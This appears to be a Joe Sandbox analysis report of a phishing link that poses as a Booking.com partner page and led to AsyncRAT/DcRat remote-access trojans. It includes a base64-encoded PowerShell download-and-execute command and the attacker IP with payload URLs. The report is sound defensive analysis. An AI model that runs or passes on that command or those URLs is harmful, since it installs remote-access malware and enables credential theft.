Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 3148, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 1200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2F80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 4F80000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3268	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6471	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 9266	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8144	Thread sleep count: 3268 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8148	Thread sleep count: 6471 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8180	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6808	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3940	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7540	Thread sleep count: 45 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7540	Thread sleep time: -41505174165846465s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3960	Thread sleep count: 546 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3960	Thread sleep count: 9266 > 30	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: MSBuild.exe, 00000015.00000002.2154920630.0000000001310000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000015.00000002.2159438422.0000000005665000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MSBuild.exe, 00000015.00000002.2159244718.0000000005636000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Compiles code for process injection (via .Net compiler)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File written: C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.0.cs

Jump to dropped file

Encrypted powershell cmdline option found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded iex (iwr "http://92.255.85.2/fresh.html").Content
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded iex (iwr "http://92.255.85.2/fresh.html").Content			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA="	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3E6E.tmp" "c:\Users\user\AppData\Local\Temp\y00ifih2\CSCF294E1DD957143A7ABBBA2AAFDECA1.TMP"	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 3148, type: MEMORYSTR

Source: MSBuild.exe, 00000015.00000002.2159244718.0000000005636000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected DcRat

Source: Yara match	File source: 00000015.00000002.2155302925.000000000326F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 3148, type: MEMORYSTR

Remote Access Functionality

Yara detected DcRat

Source: Yara match	File source: 00000015.00000002.2155302925.000000000326F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 3148, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	2 Browser Extensions	111 Process Injection	1 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	13 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 DLL Side-Loading	1 DLL Side-Loading	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	15 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	13 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://myidverify.s3.us-east-1.amazonaws.com/redirect.html	0%	Avira URL Cloud	safe

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.dll	100%	Avira	TR/Dropper.Gen7

Source	Detection	Scanner	Label
https://booking.extranetupdate.com/static/45_1975cbc2f7eaad75f590.css	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/css_3iFMQAIstg4teIom2wVaOik81XAQ5V-7tH-iz2mq5to.css	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/otSDKStub.js/consent/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda.json	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/a	0%	Avira URL Cloud	safe
https://extranetupdate.com	0%	Avira URL Cloud	safe
http://92.255.85.2/qxm.exe	100%	Avira URL Cloud	phishing
https://booking.extranetupdate.com/static/evergage.min.js	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/lazysizes.min.js	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/ls.unveilhooks.min.js	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/message_tip.svg	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/826_0d1737e180931a217647.css	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/71cd12cdf77ebcb750cff91a9bba6f04.js	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/938_afde72b9aaa8302ff017.css	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/themes/custom/booking/fonts/icons/icons.woff?v=1.3.3	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/themes/custom/booking/fonts/icons/icons.ttf?v=1.3.3	0%	Avira URL Cloud	safe
https://myidverify.s3.us-east-1.amazonaws.com/favicon.ico	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/api?c=1	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/otSDKStub.js	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/asset_332_350x180px.png.png	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/css_399BM-E_9aHp94scPSljMDjXwz84BMBa3y-GIQG8XYY.css	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/optimize.js	0%	Avira URL Cloud	safe
http://92.255.85.2/fresh.html	0%	Avira URL Cloud	safe
http://92.255.85.2/nums.bat	100%	Avira URL Cloud	malware
https://booking.extranetupdate.com/static/message_alert.svg	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/otBannerSdk.js	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/css_H7dPp81WTvvS--0HVXMJ9Hozig2DMTF7X1aURkZvL00.css	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/OtAutoBlock.js	0%	Avira URL Cloud	safe
https://booking.extranetupdate.com/static/munchkin.js	0%	Avira URL Cloud	safe
https://extranetupdate.com/	0%	Avira URL Cloud	safe
http://92.255.85.2/pixel.exe	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
ax-9999.ax-msedge.net	150.171.28.254	true	false	high
partner.booking.com	18.155.1.116	true	false	high
e10776.b.akamaiedge.net	104.67.201.252	true	false	high
pki-goog.l.google.com	142.250.9.94	true	false	high
s3-r-w.us-east-1.amazonaws.com	52.216.210.66	true	false	high
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
booking.extranetupdate.com	104.21.112.1	true	true	unknown
code.jquery.com	151.101.194.137	true	false	high
prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net	104.17.208.240	true	false	high
www.google.com	142.250.9.106	true	false	high
mch-lon-gbr2.mktoresp.com	130.248.246.42	true	false	unknown
extranetupdate.com	104.21.80.1	true	true	unknown
Ev2-9999.Ev2-msedge.net	150.171.31.254	true	false	high
siteintercept.qualtrics.com	unknown	unknown	false	high
munchkin.marketo.net	unknown	unknown	false	high
zn3eum1ldyl0aih0i-partnersatbooking.siteintercept.qualtrics.com	unknown	unknown	false	high
261-nrz-371.mktoresp.com	unknown	unknown	false	high
c2a9c95e369881c67228a6591cac2686.clo.footprintdns.com	unknown	unknown	false	high
c.pki.goog	unknown	unknown	false	high
myidverify.s3.us-east-1.amazonaws.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://booking.extranetupdate.com/static/message_tip.svg	false	Avira URL Cloud: safe	unknown
https://siteintercept.qualtrics.com/dxjsmodule/1.63482081f3bf73c57075.chunk.js?Q_CLIENTVERSION=2.27.0&Q_CLIENTTYPE=web&Q_BRANDID=partnersatbooking	false		high
https://siteintercept.qualtrics.com/dxjsmodule/CoreModule.js?Q_CLIENTVERSION=2.27.0&Q_CLIENTTYPE=web&Q_BRANDID=partnersatbooking	false		high
https://booking.extranetupdate.com/static/ls.unveilhooks.min.js	false	Avira URL Cloud: safe	unknown
https://booking.extranetupdate.com/static/45_1975cbc2f7eaad75f590.css	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/themes/custom/booking/fonts/icons/icons.woff?v=1.3.3	false		high
https://booking.extranetupdate.com/static/a	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/themes/custom/booking/images/favicons/favicon.ico	false		high
https://booking.extranetupdate.com/static/evergage.min.js	false	Avira URL Cloud: safe	unknown
http://c.pki.goog/r/r4.crl	false		high
https://booking.extranetupdate.com/static/css_3iFMQAIstg4teIom2wVaOik81XAQ5V-7tH-iz2mq5to.css	false	Avira URL Cloud: safe	unknown
https://booking.extranetupdate.com/static/otSDKStub.js/consent/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda.json	false	Avira URL Cloud: safe	unknown
https://booking.extranetupdate.com/static/lazysizes.min.js	false	Avira URL Cloud: safe	unknown
https://zn3eum1ldyl0aih0i-partnersatbooking.siteintercept.qualtrics.com/SIE/?Q_ZID=ZN_3Eum1ldyL0aIh0i	false		high
http://92.255.85.2/qxm.exe	true	Avira URL Cloud: phishing	unknown
https://booking.extranetupdate.com/static/938_afde72b9aaa8302ff017.css	false	Avira URL Cloud: safe	unknown
https://booking.extranetupdate.com/static/826_0d1737e180931a217647.css	false	Avira URL Cloud: safe	unknown
https://siteintercept.qualtrics.com/dxjsmodule/8.7128e66c4069227926d7.chunk.js?Q_CLIENTVERSION=2.27.0&Q_CLIENTTYPE=web&Q_BRANDID=booking.extranetupdate.com	false		high
https://myidverify.s3.us-east-1.amazonaws.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/themes/custom/booking/images/favicons/site.webmanifest	false		high
https://booking.extranetupdate.com/static/71cd12cdf77ebcb750cff91a9bba6f04.js	false	Avira URL Cloud: safe	unknown
https://booking.extranetupdate.com/themes/custom/booking/fonts/icons/icons.woff?v=1.3.3	false	Avira URL Cloud: safe	unknown
https://booking.extranetupdate.com/themes/custom/booking/fonts/icons/icons.ttf?v=1.3.3	false	Avira URL Cloud: safe	unknown
https://booking.extranetupdate.com/static/otSDKStub.js	false	Avira URL Cloud: safe	unknown
https://munchkin.marketo.net/164/munchkin.js	false		high
https://booking.extranetupdate.com/api?c=1	false	Avira URL Cloud: safe	unknown
https://booking.extranetupdate.com/static/asset_332_350x180px.png.png	false	Avira URL Cloud: safe	unknown
https://booking.extranetupdate.com/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js	false	Avira URL Cloud: safe	unknown
https://booking.extranetupdate.com/static/optimize.js	false	Avira URL Cloud: safe	unknown
https://booking.extranetupdate.com/static/css_399BM-E_9aHp94scPSljMDjXwz84BMBa3y-GIQG8XYY.css	false	Avira URL Cloud: safe	unknown
https://booking.extranetupdate.com/static/otBannerSdk.js	false	Avira URL Cloud: safe	unknown
https://siteintercept.qualtrics.com/WRSiteInterceptEngine/Targeting.php?Q_ZoneID=ZN_3Eum1ldyL0aIh0i&Q_CLIENTVERSION=2.27.0&Q_CLIENTTYPE=web	false		high
https://code.jquery.com/jquery-3.7.1.min.js	false		high
http://92.255.85.2/nums.bat	true	Avira URL Cloud: malware	unknown
https://siteintercept.qualtrics.com/dxjsmodule/5.76657644fe1b73dc4306.chunk.js?Q_CLIENTVERSION=2.27.0&Q_CLIENTTYPE=web&Q_BRANDID=partnersatbooking	false		high
https://booking.extranetupdate.com/static/message_alert.svg	false	Avira URL Cloud: safe	unknown
http://92.255.85.2/fresh.html	true	Avira URL Cloud: safe	unknown
https://booking.extranetupdate.com/static/munchkin.js	false	Avira URL Cloud: safe	unknown
https://partner.booking.com/themes/custom/booking/images/favicons/favicon.svg	false		high
https://munchkin.marketo.net/munchkin.js	false		high
https://myidverify.s3.us-east-1.amazonaws.com/redirect.html	false		unknown
https://booking.extranetupdate.com/static/css_H7dPp81WTvvS--0HVXMJ9Hozig2DMTF7X1aURkZvL00.css	false	Avira URL Cloud: safe	unknown
https://booking.extranetupdate.com/static/OtAutoBlock.js	false	Avira URL Cloud: safe	unknown
https://extranetupdate.com/	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=tYl1LVuf9smtbyjtsM47y58wl0UKxOeXDmqcQ09TvQFActh3HeTZj7ptewZv6gWOjP3ikWbUjdlU%2FfG7rpByGNCQl7cKX6VO9S0gthoGybWdMJB3uSJMx4DBpss6TiJNrPFGYY23B%2Bs%2Flyas9Q%3D%3D	false		high
http://92.255.85.2/pixel.exe	true	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=0fPW9%2BK%2FvwNiM4TfIUupw3bC1O7Wg6WlJDKGa1nVgpAEtIVhw6w41OfNLWcyh%2FmZCdSW3a8DY3J8XlDUe5bV9pR%2FA5WEt1e3wBJFy8Z%2Fnl97qwYgpjpWgWN3ghBkNwAasfBqZxfGDk6B8UEA3A%3D%3D	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://extranetupdate.com	chromecache_87.6.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	MSBuild.exe, 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000015.00000002.2155302925.0000000003220000.00000004.00000800.00020000.00000000.sdmp	false		high
https://siteintercept.qualtrics.com	chromecache_93.6.dr	false		high
https://siteintercept.qualtrics.com/dxjsmodule/	chromecache_93.6.dr	false		high
https://developers.marketo.com/MunchkinLicense.pdf	chromecache_75.6.dr, chromecache_89.6.dr	false		high
https://s.qualtrics.com/spoke/all/jam	chromecache_93.6.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.67.201.252	e10776.b.akamaiedge.net	United States	33662	CMCSUS	false
142.250.9.106	www.google.com	United States	15169	GOOGLEUS	false
104.17.209.240	unknown	United States	13335	CLOUDFLARENETUS	false
130.248.246.42	mch-lon-gbr2.mktoresp.com	United States	15224	OMNITUREUS	false
104.21.80.1	extranetupdate.com	United States	13335	CLOUDFLARENETUS	true
52.216.210.66	s3-r-w.us-east-1.amazonaws.com	United States	16509	AMAZON-02US	false
104.21.112.1	booking.extranetupdate.com	United States	13335	CLOUDFLARENETUS	true
18.155.1.116	partner.booking.com	United States	16509	AMAZON-02US	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
92.255.85.2	unknown	Russian Federation	42097	SOVTEL-ASRU	true
104.17.208.240	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1667421
Start date and time:	2025-04-17 13:23:17 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://myidverify.s3.us-east-1.amazonaws.com/redirect.html
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.bank.troj.expl.evad.win@40/52@29/13
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 5 Number of non-executed functions: 4

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
